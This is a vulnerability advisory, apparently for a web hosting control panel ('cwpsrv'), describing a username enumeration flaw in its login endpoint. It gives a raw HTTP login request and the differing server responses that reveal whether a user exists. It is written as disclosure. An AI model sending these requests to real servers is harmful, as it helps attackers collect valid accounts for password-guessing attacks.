  # ====================================================================
  # Root course of the vulnerability
  # ====================================================================
  The server response different message between login with valid and invalid user.
  This allows attackers to check whether a username is valid by reading the HTTP response.
  
  
  
  # ====================================================================
  # Steps to Reproduce
  # ====================================================================
  
  1. Login with a random user by using invalid password
  
  POST /login/index.php?acc=validate HTTP/1.1
  Host: 192.168.80.137:2083
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  csrftoken: d41d8cd98f00b204e9800998ecf8427e
  X-Requested-With: XMLHttpRequest
  Content-Length: 30
  Connection: close
  Referer: https://192.168.80.137:2083/login/?acc=logon
  
  username=AAA&password=c2Rmc2Rm
  
  
  
  2. Check the HTTP response body
  
  2.1 User does not exist (server response suspended)
  
  HTTP/1.1 200 OK
  Server: cwpsrv
  Date: Mon, 15 Jul 2019 01:39:06 GMT
  Content-Type: text/html; charset=UTF-8
  Connection: close
  X-Powered-By: PHP/7.0.32
  Content-Length: 9
  
  suspended
  
  
  2.2 User does exist (server response nothing)
  
  HTTP/1.1 200 OK
  Server: cwpsrv
  Date: Mon, 15 Jul 2019 01:40:12 GMT
  Content-Type: text/html; charset=UTF-8
  Connection: close
  X-Powered-By: PHP/7.0.32
  Content-Length: 0
  
  
  
  3. HTTP response body format depends on software version, but all of them keep responding differently as the example below
  
  ------------------------------------------------------------
  |Username|	 Password | Result |
  
  ------------------------------------------------------------
  |valid |	 valid	| login success|
  
  |valid |	 invalid|	{"error":"failed"} |
  
  |invalid |	 invalid|	{"error":"user_invalid"} |
  ------------------------------------------------------------
